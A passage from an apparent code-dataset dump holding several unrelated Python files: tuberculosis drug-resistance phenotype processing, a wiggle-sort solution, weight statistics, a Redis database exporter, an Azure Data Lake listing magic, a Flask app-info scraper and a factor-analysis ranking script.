sep='\\t')\n drug_samples_pairs = []\n for drug in all_pheno.columns[1:]:\n all_pheno[drug] = all_pheno[drug].map({'S': '0', 'R': '1'})\n drug_pheno = all_pheno[all_pheno[drug].isin(('0', '1'))]\n drug_pheno[['Organism_name', drug]].to_csv(out_pheno + drug + '.pheno', sep='\\t', index=False, header=False)\n drug_samples_pairs.append((drug, drug_pheno['Organism_name'].tolist()))\n\n if no_missing_values:\n all_pheno_no_na = all_pheno.dropna(subset=['Isoniazid', 'Rifampicin'])\n mdr = all_pheno_no_na.loc[(all_pheno['Isoniazid'] == '1') & (all_pheno['Rifampicin'] == '1')]\n non_mdr = all_pheno_no_na.loc[(all_pheno['Isoniazid'] == '0') | (all_pheno['Rifampicin'] == '0')]\n else:\n mdr = all_pheno.loc[(all_pheno['Isoniazid'] == '1') & (all_pheno['Rifampicin'] == '1')]\n non_mdr = all_pheno.loc[(all_pheno['Isoniazid'] == '0') | (all_pheno['Rifampicin'] == '0')]\n sample_ids = []\n with open(out_pheno + 'MDR.pheno', 'w') as f:\n for index, row in mdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t1\\n')\n for index, row in non_mdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t0\\n')\n drug_samples_pairs.append(('MDR', sample_ids))\n\n sample_ids = []\n if no_missing_values:\n all_pheno_no_na = all_pheno.dropna(subset=['Isoniazid', 'Rifampicin', 'Ciprofloxacin', 'Moxifloxacin',\n 'Ofloxacin', 'Amikacin', 'Capreomycin', 'Kanamycin', 'Ciprofloxacin',\n 'Moxifloxacin', 'Ofloxacin', 'Amikacin', 'Capreomycin', 'Kanamycin'])\n xdr = all_pheno_no_na.loc[(all_pheno['Isoniazid'] == '1') & (all_pheno['Rifampicin'] == '1') &\n ((mdr['Ciprofloxacin'] == '1') | (mdr['Moxifloxacin'] == '1') | (mdr['Ofloxacin'] == '1')) &\n ((mdr['Amikacin'] == '1') | (mdr['Capreomycin'] == '1') | (mdr['Kanamycin'] == '1'))]\n non_xdr = all_pheno_no_na.loc[((all_pheno['Ciprofloxacin'] == '0') & (all_pheno['Moxifloxacin'] == '0') &\n (all_pheno['Ofloxacin'] == '0')) | ((all_pheno['Amikacin'] == '0') &\n (all_pheno['Capreomycin'] == '0') & (\n all_pheno['Kanamycin'] == '0'))\n | (all_pheno['Isoniazid'] == '0') | (all_pheno['Rifampicin'] == '0')]\n else:\n xdr = mdr.loc[((mdr['Ciprofloxacin'] == '1') | (mdr['Moxifloxacin'] == '1') | (mdr['Ofloxacin'] == '1')) &\n ((mdr['Amikacin'] == '1') | (mdr['Capreomycin'] == '1') | (mdr['Kanamycin'] == '1'))]\n non_xdr = all_pheno.loc[((all_pheno['Ciprofloxacin'] == '0') & (all_pheno['Moxifloxacin'] == '0') &\n (all_pheno['Ofloxacin'] == '0')) | ((all_pheno['Amikacin'] == '0') &\n (all_pheno['Capreomycin'] == '0') & (\n all_pheno['Kanamycin'] == '0'))\n | (all_pheno['Isoniazid'] == '0') | (all_pheno['Rifampicin'] == '0')]\n with open(out_pheno + 'XDR.pheno', 'w') as f:\n for index, row in xdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t1\\n')\n for index, row in non_xdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t0\\n')\n drug_samples_pairs.append(('XDR', sample_ids))\n\n if no_missing_values:\n all_pheno_no_na = all_pheno.dropna(subset=['Isoniazid', 'Rifampicin'])\n non_mdr = all_pheno_no_na.loc[(all_pheno['Isoniazid'] == '0') & (all_pheno['Rifampicin'] == '0')]\n else:\n non_mdr = all_pheno.loc[(all_pheno['Isoniazid'] == '0') & (all_pheno['Rifampicin'] == '0')]\n sample_ids = []\n with open(out_pheno + 'MDR_S.pheno', 'w') as f:\n for index, row in mdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t1\\n')\n for index, row in non_mdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t0\\n')\n drug_samples_pairs.append(('MDR_S', sample_ids))\n\n if no_missing_values:\n all_pheno_no_na = all_pheno.dropna(subset=['Isoniazid', 'Rifampicin', 'Ciprofloxacin', 'Moxifloxacin',\n 'Ofloxacin', 'Amikacin', 'Capreomycin', 'Kanamycin', 'Ciprofloxacin',\n 'Moxifloxacin', 'Ofloxacin', 'Amikacin', 'Capreomycin', 'Kanamycin'])\n non_xdr = all_pheno_no_na.loc[((all_pheno['Ciprofloxacin'] == '0') & (all_pheno['Moxifloxacin'] == '0') &\n (all_pheno['Ofloxacin'] == '0')) & ((all_pheno['Amikacin'] == '0') &\n (all_pheno['Capreomycin'] == '0') & (\n all_pheno['Kanamycin'] == '0'))\n & (all_pheno['Isoniazid'] == '0') & (all_pheno['Rifampicin'] == '0')]\n else:\n non_xdr = all_pheno.loc[((all_pheno['Ciprofloxacin'] == '0') & (all_pheno['Moxifloxacin'] == '0') &\n (all_pheno['Ofloxacin'] == '0')) & ((all_pheno['Amikacin'] == '0') &\n (all_pheno['Capreomycin'] == '0') & (\n all_pheno['Kanamycin'] == '0'))\n & (all_pheno['Isoniazid'] == '0') & (all_pheno['Rifampicin'] == '0')]\n sample_ids = []\n with open(out_pheno + 'XDR_S.pheno', 'w') as f:\n for index, row in xdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t1\\n')\n for index, row in non_xdr.iterrows():\n sample_ids.append(row['Organism_name'])\n f.write(row['Organism_name'] + '\\t0\\n')\n drug_samples_pairs.append(('XDR_S', sample_ids))\n\n return drug_samples_pairs\n\n\ndef merge_pheno():\n path_to_pheno = data_path + 'combined_pheno/'\n sample_to_pheno = {}\n all_drugs = []\n for fname in listdir(path_to_pheno):\n drug = fname[:-6]\n all_drugs.append(drug)\n for l in open(path_to_pheno + fname).readlines():\n s = l.strip().split('\\t')\n if s[1] == '0':\n pheno = 'S'\n else:\n pheno = 'R'\n drug_to_pheno = sample_to_pheno.get(s[0])\n if drug_to_pheno is None:\n sample_to_pheno[s[0]] = {drug: pheno}\n else:\n drug_to_pheno[drug] = pheno\n t = Tree(path_to_tree)\n samples_in_tree = set()\n for node in t.traverse(\"postorder\"):\n samples_in_tree.add(node.name)\n with open(path_to_phenotypes, 'w') as f:\n f.write('Organism_name\\t' + '\\t'.join(all_drugs) + '\\n')\n for sample, drug_to_pheno in sample_to_pheno.items():\n if sample not in samples_in_tree:\n continue\n f.write(sample)\n for drug in all_drugs:\n pheno = drug_to_pheno.get(drug)\n if pheno is None:\n f.write('\\t-')\n else:\n f.write('\\t' + pheno)\n f.write('\\n')\n\n\ndef main():\n if not exists(out_tree):\n makedirs(out_tree)\n if not exists(out_pheno):\n makedirs(out_pheno)\n # merge_pheno()\n drug_samples_pairs = process_pheno()\n tasks = Parallel(n_jobs=-1)(delayed(prune)(sample_ids, drug) for drug, sample_ids in drug_samples_pairs)\n c = 0\n for task in tasks:\n c += task\n print(c)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"phylo_methods/print_trees_and_pheno_for_drugs.py","file_name":"print_trees_and_pheno_for_drugs.py","file_ext":"py","file_size_in_byte":9395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"217230801","text":"'''\nGiven an unsorted array nums, reorder it such that\n\nnums[0] < nums[1] > nums[2] < nums[3]....\nExample\nGiven nums = [1, 5, 1, 1, 6, 4], one possible answer is [1, 4, 1, 5, 1, 6].\n\nGiven nums = [1, 3, 2, 2, 3, 1], one possible answer is [2, 3, 1, 3, 1, 2].\n\nChallenge\nCan you do it in O(n) time and/or in-place with O(1) extra space?\n'''\nclass Solution:\n \"\"\"\n @param: nums: A list of integers\n @return: nothing\n \"\"\"\n \n def wiggleSort(self, nums):\n m = (len(nums) + 1) >> 1\n tmp = sorted(nums)\n i, j = 0, m-1\n while j >= 0:\n nums[i] = tmp[j]\n i += 2\n j -= 1\n \n i, j = 1, len(nums)-1\n while j >= m:\n nums[i] = tmp[j]\n i += 2\n j -= 1\n\n\n","sub_path":"leetcode/wiggleSort/solutionII.py","file_name":"solutionII.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"308720154","text":"import csv\nfrom collections import Counter\nfrom numpy import mean, median\n\nwith open(\"weightHeight.csv\", newline='') as f:\n reader = csv.reader(f)\n fileData = list(reader)\n\nfileData.pop(0)\nweight = []\n\nfor i in range(len(fileData)):\n weight.append(float(fileData[i][2]))\n\nmean = mean(weight)\nmedian = median(weight)\n\nmodeCounter = {\"70-100\":0, \"100-150\":0, \"150-180\":0}\n\nfor i, j in Counter(weight).items():\n if 70 < i < 100:\n modeCounter[\"70-100\"] += 1\n elif 100 < i < 150:\n modeCounter[\"100-150\"] += 1\n elif 150 < i < 180:\n modeCounter[\"150-180\"] += 1\nmodeRange, modeOcc = 0, 0\n\nfor i, j in modeCounter.items():\n if j > modeOcc:\n modeRange, modeOcc = [int(i.split(\"-\")[0]), int(i.split(\"-\")[1])], j\n\nmode = float(modeRange[0] + modeRange[1]) / 2\n\nprint(\"Average weight: {}\".format(mean))\nprint(\"Meadian of the weights: {}\".format(median))\nprint(\"Mode of the weights: {}\".format(mode))\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"125892429","text":"from redis_cheats import full_list\nfrom node_name import NodePatterns as Pattern\nfrom coloring import *\nfrom snippets import *\nfrom sets import Set\n\nimport string\nimport os\n\n\ndef export_all(args, db):\n if args.single:\n if len(args.command) is 1:\n error = fail(\n \"You have told me that you want to export the database, but have not given me a filename to write to.\")\n sys.exit() \n \n #check to see if the file exists (adds .mogu extension to the filename if it's not present)\n \n if not confirm_overwrite(args.command[1],args.yes):\n sys.exit()\n \n else:\n if len(args.command) is 1:\n error = fail(\"You have told me that you want to export the database to a directory, but have not given me a directory to write to.\")\n sys.exit()\n \n #Check if directory exists\n if not os.path.isdir(args.command[1]):\n os.makedirs(args.command[1]) #if not, create it/them\n \n export(db,args.command[1], not args.single)\n\ndef export_widget(args,db):\n try:\n widgets = args.command[1:]\n except:\n error = fail(\"You have told me that you want to export a widget from the database, but have not told me what widget to export.\")\n print(\"%s\\nYou can fix this by making sure to pass the widget name: mogu export-widget widget_name --filename file\")\n sys.exit()\n filename = assertending(args.filename, \".mogu\")\n if not args.filename:\n error = fail(\"You have told me that you want to export a widget from the database, but have not given me a filename to write to.\")\n print(\"%s\\n You can fix this by using the --filename option. ex: ./mogu export --filename /path/to/file\")%error\n sys.exit()\n\n if not confirm_overwrite(args.filename, args.yes):\n sys.exit()\n \n f = open(filename, \"w\")\n f.write(\"# Mogu Import File %s\" % filename)\n f.write(\"\\n\\n\")\n for widget in widgets:\n #widget = \"widgets.%s\" % (widget.replace(\"widgets.\",\"\"))\n output = []\n output.append( export_widget_dict(db,widget) )\n output.append( export_widget_properties(db, widget) )\n output.append( export_widget_events(db, widget) )\n output.append( export_widget_children(db, widget) )\n output_str = \"\".join(output)\n f.write(output_str)\n f.close()\n\ndef clean_str(string):\n return string.replace(\"\\\"\",\"\\\\\\\"\")\n\ndef dict_str(dict_entries):\n str_entries = []\n for entry in dict_entries:\n value = clean_str(dict_entries[entry])\n as_string = \"\\t%-15s:\\t%s\" % ('\"'+entry+'\"', '\"'+value+'\"')\n str_entries.append(as_string)\n entries_body = (\",\\n\".join(str_entries))+\",\"\n output = \"{\\n%s\\n}\\n\" % entries_body\n return output\n\ndef set_str(set_entries, quote=\"\\\"\"):\n str_entries = []\n for entry in set_entries:\n as_string = \"\\t\" + \"%s\" * 3 % (quote, entry, quote)\n str_entries.append(as_string)\n body = (\",\\n\".join(str_entries))+\",\"\n output = \"Set([\\n%s\\n])\\n\" % body\n return output\n\ndef list_str(list_entries, quote=\"\\\"\"):\n str_entries = []\n for entry in list_entries:\n as_string = \"\\t\" + \"%s\" * 3 % (quote,entry,quote)\n str_entries.append(as_string)\n body = (\",\\n\".join(str_entries))+\",\"\n output = \"[\\n%s\\n]\\n\" % body\n return output\n\ndef dict_entry_line(dict_name, entry_name):\n return \"%s[\\\"%s\\\"] = \\\\\\n\" % (dict_name, entry_name)\n\ndef dbl_dict_entry_line(dict_name, innerdict_name, entry_name):\n return \"%s[\\\"%s\\\"][\\\"%s\\\"] = \\\\\\n\" % (dict_name, innerdict_name, entry_name)\n\ndef empty_dict_entry_line(dict_name, innerdict_name):\n return \"%s[\\\"%s\\\"] = {}\\n\" % (dict_name, innerdict_name)\n\ndef dict_to_string(dict_name,entry_name,entries):\n title = dict_entry_line(dict_name,entry_name)\n body = dict_str(entries)\n output = \"%s\" * 2 % (title,body) + \"\\n\\n\" \n return output\n\ndef export_widget_dict(db,widget):\n pattern = Pattern.Widget(widget)\n return dict_to_string(\n \"widgets\",\n pattern.name,\n db.hgetall(pattern.node)\n )\n\ndef export_policy(db,policy):\n pattern = Pattern.WidgetPolicy(policy)\n if db.exists(pattern.node):\n return dict_to_string(\n \"policies\",\n pattern.name,\n db.hgetall(pattern.node)\n )\n else:\n return None\n \ndef export_validator(db, validator):\n pattern = Pattern.Validator(validator)\n return dict_to_string(\n \"validators\",\n pattern.name,\n db.hgetall(pattern.node)\n )\ndef export_widget_events(db,widget):\n pattern = Pattern.Widget(widget)\n event_nodes = db.keys(\"%s.events.*\" % pattern.node)\n if (len(event_nodes) is 0):\n return \"\"\n output = \"\"\n title = dict_entry_line(\"events\", pattern.name)\n event_dicts = []\n for node in event_nodes:\n event_dicts.append(dict_str(db.hgetall(node)))\n body = list_str(event_dicts,\"\")\n output = \"%s\" * 2 % (title,body)\n return output\n\n\ndef export_widget_properties(db, widget):\n pattern = Pattern.Widget(widget)\n property_node = \"%s.properties\" % pattern.node\n if not db.exists(property_node): return None\n title = dict_entry_line(\"properties\", pattern.name)\n data = db.smembers(property_node)\n body = set_str(data)\n output = \"%s%s\" % (title, body)\n return output\n\ndef export_perspective(db,perspective):\n pattern = Pattern.Perspective(perspective)\n perspective_nodes = db.keys(pattern.node+\".*\")\n if (len(perspective_nodes) is 0):\n return \"\"\n output = \"\"\n title = dict_entry_line(\"perspectives\", pattern.name)\n perspective_dicts = []\n for node in perspective_nodes:\n perspective_dicts.append(dict_str(db.hgetall(node)))\n body = list_str(perspective_dicts,\"\")\n output = \"%s\" * 2 % (title,body)\n return output\n\n\ndef export_widget_children(db,widget):\n pattern = Pattern.Widget(widget)\n output = \"\"\n if db.exists(\"%s.children\" % widget):\n title = dict_entry_line(\"tree\", pattern.name)\n children = full_list(db,\"%s.children\" % pattern.node)\n strlst = []\n for child in children:\n ptrn = Pattern.Widget(child)\n strlst.append(ptrn.name)\n body = list_str(strlst)\n output = \"%s\" * 2 % (title,body)\n return output\n\ndef export_data(db, data_node):\n pattern = Pattern.Data(data_node)\n output = dict_entry_line(\"data\", pattern.name)\n dtype = db.type(pattern.node)\n if dtype == \"hash\":\n val = db.hgetall(pattern.node)\n body = dict_str(val)\n elif dtype == \"list\":\n val = full_list(db,pattern.node)\n body = list_str(val)\n elif dtype == \"set\":\n val = db.smembers(pattern.node)\n body = set_str(val)\n else:\n body = \" \\t\\\"%s\\\"\\n\" % clean_str(db.get(pattern.node))\n\n output += \"%s\" % (body)\n return output\n\ndef export_template(db, tname):\n pattern = Pattern.Template(tname)\n output = dict_entry_line(\"templates\", pattern.name)\n val = db.hgetall(pattern.node)\n body = dict_str(val)\n output += body\n return output\n\ndef export_session(db,session):\n pattern = Pattern.Session(session)\n output = empty_dict_entry_line(\"sessions\", pattern.name)\n _session_nodes = db.keys(\"%s.*\" % pattern.node)\n session_nodes = []\n for n in _session_nodes:\n innernode = n.split(\".\")[2:]\n session_nodes.append(\".\".join(innernode))\n\n for node in session_nodes:\n body = \"\"\n name = \"%s.%s\" % (pattern.node, node)\n t = db.type(name)\n title = dbl_dict_entry_line(\"sessions\", pattern.name, node)\n if t == \"hash\":\n d = db.hgetall(name)\n body = dict_str(d)\n elif t == \"list\":\n l = full_list(db, name)\n body = list_str(l)\n elif t == \"set\":\n s = db.smembers(name)\n body = set_str(s)\n else:\n body = \" \\t\\\"%s\\\"\\n\" % clean_str(db.get(name))\n output += \"%s%s\" % (title,body)\n return output\n\ndef format_filename(f):\n if '.' in f:\n f = \".\".join(f.split(\".\")[1:])\n for char in f:\n if char not in string.ascii_letters\\\n and char not in string.digits:\n f = f.replace(char,\"_\")\n return f + \".mogu\"\n\ndef export(db, outInfo, toPackage):\n widgets = [key for key in db.keys('widgets.*') \\\n if db.type(key) == 'hash' and \\\n '.events' not in key and \\\n '.children' not in key and \\\n '.policy' not in key\n ]\n \n if not toPackage:\n output = \"\"\n\n os.mkdir(outInfo+\"/widgets\")\n for widget in widgets:\n if toPackage:\n #Convert widgets.foo:bar to foo_bar.mogu\n filename = format_filename(widget)\n write_content(outInfo+\"/widgets/\"+filename, export_widget_dict(db,widget))\n else:\n output += export_widget_dict(db,widget)\n \n for widget in widgets:\n temp = export_widget_properties(db, widget)\n if temp is not None:\n if toPackage:\n filename = format_filename(widget)\n write_content(outInfo+\"/widgets/\"+filename, temp)\n else:\n output += temp\n\n for widget in widgets:\n temp = export_widget_events(db,widget)\n if \"\\\"\" in temp:\n if toPackage:\n filename = format_filename(widget)\n write_content(outInfo+\"/widgets/\"+filename, temp)\n else:\n output += temp\n\n for widget in widgets:\n temp = export_widget_children(db,widget)\n if \"\\\"\" in temp:\n if toPackage:\n filename = format_filename(widget)\n write_content(outInfo+\"/widgets/\"+filename, temp)\n else:\n output += temp\n\n perspective_events = db.keys(\"perspectives.*\")\n perspectives = []\n for ev in perspective_events:\n pers = ev.split('.')[1]\n if pers not in perspectives:\n perspectives.append(pers)\n os.mkdir(outInfo+\"/perspectives/\")\n for perspective in perspectives:\n if toPackage:\n filename = format_filename(perspective) \n write_content(outInfo+\"/perspectives/\"+filename, export_perspective(db,perspective))\n else:\n output += export_perspective(db,perspective)\n\n validators = db.keys(\"validators.*\")\n os.mkdir(outInfo+\"/validators\")\n for validator in validators:\n temp = export_validator(db, validator)\n if \"\\\"\" in temp:\n if toPackage:\n filename = format_filename(validator)\n write_content(outInfo+\"/validators/\"+filename, temp)\n else:\n output += temp\n \n policy_nodes = db.keys(\"policies.*\")\n os.mkdir(outInfo+\"/policies\")\n for policy in policy_nodes:\n temp = export_policy(db, policy)\n if \"\\\"\" in temp:\n if toPackage:\n filename = format_filename(policy)\n write_content(outInfo+\"/policies/\"+filename, temp)\n else:\n output += temp\n \n global_events = db.keys(\"events.*\")\n os.mkdir(outInfo+\"/global_events\")\n for event in global_events:\n title = dict_entry_line(\"global_events\", event.replace(\"events.\",\"\"))\n body = dict_str(db.hgetall(event))\n if toPackage:\n filename = format_filename(event)\n write_content(outInfo+\"/global_events/\"+filename, \"%s%s\\n\\n\" % (title,body))\n else: \n output += \"%s%s\\n\\n\" % (title,body)\n\n __sessions = db.keys(\"s.*\")\n sessions = []\n for sesh in __sessions:\n sid = sesh.split(\".\")[1]\n if sid not in sessions:\n sessions.append(sid)\n for session in sessions:\n if toPackage:\n write_content(outInfo+\"/sessions.mogu\", export_session(db,session))\n else: \n output += export_session(db,session)\n \n data = db.keys(\"data.*\")\n for node in data:\n nname = node.split(\".\")[1]\n if toPackage:\n write_content(outInfo+\"/data.mogu\", export_data(db,nname))\n else:\n output += export_data(db,nname)\n \n templates = db.keys(\"templates.*\")\n for t in templates:\n tname = t.split(\".\")[1]\n if toPackage:\n write_content(outInfo+\"/templates.mogu\", export_template(db,tname))\n else:\n output += export_data(db,tname)\n\n if not toPackage:\n write_content(outInfo, output, 'w')\n \ndef write_content(filename, content, writeMode='a'):\n\n if not filename.endswith(\".mogu\"):\n filename+=\".mogu\"\n \n preface = \"\" if os.path.exists(filename) else \"#Mogu Import File: %s \\n\\n\"%filename\n\n f = open(filename, writeMode)\n f.write(preface+content.replace(\"\\n\\\"\",\"\\\"\\n\"))\n f.close()\n","sub_path":"cli/src/exportdb.py","file_name":"exportdb.py","file_ext":"py","file_size_in_byte":12912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"332755562","text":"from IPython.core.magic_arguments import magic_arguments, argument, parse_argstring\n\nfrom adlmagics.magics.adls.adls_magic_base import AdlsMagicBase\n\nclass AdlsFilesListingMagic(AdlsMagicBase):\n def __init__(self, adls_service):\n super(AdlsFilesListingMagic, self).__init__(\"liststorefiles\", adls_service)\n\n @magic_arguments()\n @argument(\"--account\", type = str, help = \"Azure data lake store account name.\")\n @argument(\"--folder_path\", default = \"\", help = \"Relative path of the folder whose files are to be listed.\")\n def execute(self, arg_string, content_string = None):\n args = parse_argstring(self.execute, arg_string)\n\n self._write_line(\"Listing azure data lake store files under folder '%s' of account '%s'...\" % (args.folder_path, args.account))\n\n files = self._adls_service.retrieve_files(args.account, args.folder_path)\n\n html = \"\"\n html += \" \" % (len(files))\n html += \" \"\n html += \" \"\n html += \" \"\n html += \" \"\n html += \" \"\n html += \" \"\n html += \" \"\n html += \" \"\n html += \" \"\n html += \" \"\n for f in files:\n html += \" \"\n html += \" \" % (f.name)\n html += \" \" % (f.size_in_bytes)\n html += \" \" % (str(f.last_access_time))\n html += \" \" % (str(f.last_modified_time))\n html += \" \" % (f.path)\n html += \" \"\n html += \" \"\n html += \"
%d datalake store file(s) listed
File NameSize (Bytes)Last Access TimeLast Modified TimePath
%s%s%s%s%s
\"\n\n self._write_html(html)\n\n return self._convert_to_df(files)","sub_path":"adlmagics/adlmagics/magics/adls/adls_files_listing_magic.py","file_name":"adls_files_listing_magic.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"207896561","text":"from waitress import serve\nimport page_parser # module for parsing the app page and getting app info\nfrom flask import Flask, request, render_template\nimport validators\nimport logging\n\n\napp = Flask(__name__, static_url_path=\"\")\n\n\n@app.route(\"/\")\ndef index():\n \"\"\" Index page\"\"\"\n return render_template(\"index.tpl\")\n\n\n@app.route(\"/get-app-info\")\ndef get_app_info():\n \"\"\" App Info page\n All page parsing is done by using classes and methods\n from created page_parser module.\n Final result is rendered using\n html template templates/get_automation_stats.tpl.\n \"\"\"\n url = request.args.get(\"appname\")\n\n info_to_display = \"\"\n\n page = page_parser.Page()\n\n try:\n if not validators.url(url):\n info_to_display = f'URL {url} is not correct'\n logging.error(info_to_display)\n else:\n page.load(url)\n except (page_parser.ClientRequestError,\n page_parser.BaseConnectionError) as err:\n info_to_display = 'Error occured: ' + err.message\n else:\n # According to this schema the web page will be parsed\n parsing_schema = {\n \"App's name\":\n \"//tr[@class='app-info__row'][position()=1]/td[position()=2]\",\n \"App's version\":\n \"//tr[@class='app-info__row'][position()=4]/td[position()=2]\",\n \"Number of downloads\":\n \"//tr[@class='app-info__row'][position()=3]/td[position()=2]\",\n \"Release date\":\n \"//tr[@class='app-info__row'][position()=5]/td[position()=2]\",\n \"App's description\":\n \"//p[@itemprop='description']\"\n }\n # Use xPathParser parser from page_parser\n parser = page_parser.xPathParser()\n\n page.parse_page(parser, parsing_schema)\n info = page.get_parsed_page()\n\n # Preparing app info for displaying\n for info_name, info_value in info.items():\n info_to_display += f'{info_name}: {info_value}
'\n finally:\n return render_template(\"get_automation_stats.tpl\",\n info=info_to_display)\n\n\nserve(app, host=\"0.0.0.0\", port=8080)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"79539609","text":"#!/usr/bin/env Python\r\n#-*- coding=utf-8 -*-\r\n'''\r\nDescription : statistic indicator area ranks by factor analysis\r\nrequire : windows Anaconda-2.3.0\r\nauthor : shizhongxian@126.com\r\nusage $python sd_fa.py -f table.txt -c 2 \r\n'''\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.decomposition import FactorAnalysis\r\nfrom sklearn import preprocessing\r\nfrom scipy import linalg\r\nfrom optparse import OptionParser\r\nimport sys\r\nimport logging\r\nimport os\r\n\r\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\r\nPAR_DIR = os.path.dirname(BASE_DIR)\r\n\r\nfa_logger = logging.getLogger('SD_API.Method.FA')\r\nfa_logger.setLevel(logging.INFO)\r\nfh = logging.FileHandler(PAR_DIR + os.path.sep + \"LOG\" + os.path.sep + \"SD_FA.log\")\r\nfh.setLevel(logging.INFO)\r\nformatter = logging.Formatter('%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s')\r\nfh.setFormatter(formatter)\r\nfa_logger.addHandler(fh)\r\n\r\ndef get_factor_weight(data,n_components):\r\n '''\r\n get factor weight W \r\n '''\r\n data = preprocessing.scale(data)\r\n C = np.cov(np.transpose(data)) \r\n U, s, V = linalg.svd(C, full_matrices=False) \r\n eig = s[:n_components]\r\n eig_v = U[:,:n_components]\r\n A = eig_v * np.sqrt(eig)\r\n A = A**2\r\n contri = np.sum(A,axis=0)\r\n contri_ratio = [tmp/np.sum(contri) for tmp in contri ]\r\n return np.array(contri_ratio) \r\n\r\ndef data_set(fname):\r\n '''\r\n 把数据转化为pandas可处理的二维表格,行表示地区,列表示指标\r\n 删除包含空值的行\r\n '''\r\n df = pd.read_csv(fname,\"\\t\")\r\n #data = df.rename(columns={'月份顺序排序':'m_order','正式指标':'indicator','正式数值':'value'})\r\n data = df.rename(columns={'地区':'area','正式指标':'indicator','正式数值':'value'})\r\n pivoted = data.pivot('area','indicator','value')\r\n #删除空值行,生成清洗后的数据\r\n cleaned_data = pivoted.dropna(axis=0)\r\n #原始地区列表\r\n areas = pivoted.index\r\n area_list = areas.tolist()\r\n #原始指标列表\r\n indicators = pivoted.columns\r\n indi_list = indicators.tolist()\r\n #清洗后的地区列表\r\n cleaned_areas = cleaned_data.index\r\n cleaned_area_list = cleaned_areas.tolist()\r\n fa_logger.info(\"selected area:\"+\" \".join(area_list))\r\n fa_logger.info(\"cleaned area:\"+\" \".join(cleaned_area_list))\r\n deleted_areas = set(area_list) - set(cleaned_area_list)\r\n if len(deleted_areas) >= 1:\r\n fa_logger.info(\"deleted areas:\"+\" \".join(deleted_areas))\r\n fa_logger.info(\"selected indi:\"+\" \".join(indi_list))\r\n return cleaned_data,cleaned_area_list\r\n\r\ndef sd_fa(fname,components,result_name):\r\n '''\r\n FA计算\r\n '''\r\n fa_logger.info(\"start sd_fa\")\r\n #Web API 返回结果\r\n result_dict = {}\r\n cl_data,area_list = data_set(fname)\r\n values = cl_data.values\r\n fa = FactorAnalysis(n_components=components)\r\n #数据标准化\r\n values = preprocessing.scale(values)\r\n try:\r\n fa.fit(values)\r\n except Exception as e:\r\n fa_logger.error(\"factor analysis fit error\")\r\n sys.exit()\r\n #print(fa.n_components)\r\n #print(fa.components_)\r\n contri_ration = get_factor_weight(values, components)\r\n \r\n scores = np.dot(fa.transform(values),contri_ration.T)\r\n #print scores\r\n scores_list = scores.tolist()\r\n result_col = cl_data.columns\r\n result_col.name = \"指标\"\r\n result_idx = [\"因子\"+str(i+1) for i in range(components)]\r\n #输出因子权重\r\n result_data = pd.DataFrame(fa.components_,columns=result_col,index=result_idx)\r\n fact_scores = result_data.values.tolist()\r\n table_1 = []\r\n table_1.append(['指标']+list(result_col.values))\r\n for i in range(components):\r\n table_1.append([result_idx[i]] + fact_scores[i])\r\n result_dict[\"table_1\"] = table_1\r\n #result_data = result_data.astype(float)\r\n #result_data.to_csv(\"fa_result.txt\",sep=\"\\t\",float_format='%8.4f')\r\n if result_name:\r\n result_data.to_csv(result_name,sep=\"\\t\",float_format='%8.4f')\r\n \r\n if result_name:\r\n fout = open(result_name,\"a\")\r\n fout.write(\"\\n===============================\\n\")\r\n table_2 = []\r\n table_2.append(['因子','权重'])\r\n for i in range(len(result_idx)):\r\n if result_name:\r\n fout.write(\"%s,\\t %.3f \\n\" %(result_idx[i],contri_ration[i]))\r\n table_2.append([\"%s\" % result_idx[i],\"%.3f\" % contri_ration[i]])\r\n if result_name:\r\n fout.write(\"\\n===============================\\n\")\r\n result_dict[\"table_2\"] = table_2\r\n \r\n rank_1 = []\r\n rank_1.append(['地区','综合得分'])\r\n if len(area_list) == len(scores):\r\n area_scores_list = zip(area_list,scores_list)\r\n area_scores_list = sorted(area_scores_list,key=lambda d:d[1],reverse=True)\r\n for area_score in area_scores_list:\r\n key,value = area_score\r\n if result_name:\r\n fout.write(\"%s,%.5f \\n\" % (key,value))\r\n rank_1.append([\"%s\" % key ,\"%.5f\" % value ])\r\n result_dict[\"rank_1\"] = rank_1\r\n else:\r\n print(\"caculated result not equal to area_list\")\r\n fa_logger.error(\"caculated result not equal to area_list\")\r\n sys.exit()\r\n if result_name:\r\n fout.close()\r\n print(\"save to\",result_name)\r\n fa_logger.info(\"save to\"+result_name)\r\n return result_dict\r\n \r\nif __name__ == \"__main__\":\r\n optparser = OptionParser()\r\n optparser.add_option('-f', '--inputFile',\r\n dest='input',\r\n help='filename containing csv convert from rec',\r\n default=None)\r\n optparser.add_option('-c', '--components',\r\n dest='components',\r\n help='factor analysis factors',\r\n default=2,\r\n type='int')\r\n \r\n (options, args) = optparser.parse_args()\r\n \r\n inFile = None\r\n if options.input is None:\r\n inFile = sys.stdin\r\n #inFile = \"INTEGRATED-DATASET.csv\"\r\n elif options.input is not None:\r\n inFile = options.input\r\n else:\r\n print('No dataset filename specified, system with exit\\n')\r\n sys.exit('System will exit')\r\n components = 